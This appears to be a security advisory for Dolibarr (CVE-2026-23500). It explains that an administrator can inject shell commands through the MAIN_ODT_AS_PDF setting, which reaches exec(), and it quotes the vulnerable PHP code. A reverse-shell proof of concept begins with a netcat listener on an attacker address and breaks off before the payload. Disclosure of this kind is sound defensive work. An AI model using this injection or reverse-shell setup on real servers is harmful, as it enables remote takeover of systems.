Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration
Date: 2026-04
Affected: composer/dolibarr/dolibarr
Attack vector: rce
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2026-23500
CWE: CWE-78
CVSS: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

### Summary An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process. ### Details The vulnerability is located in `htdocs/includes/odtphp/odf.php`. When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting. Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930): ```php $command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name); // ... exec($command, $output_arr, $retval); ``` While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands. ### PoC **Prerequisites:** 1. Login as an Administrator. 2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup. **Steps to reproduce (Reverse Shell):** 1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`): ```bash nc -lvnp 4445 ``` 2. Prepare the payload. To avoid


Mitigations:

Architectural layers (MAESTRO):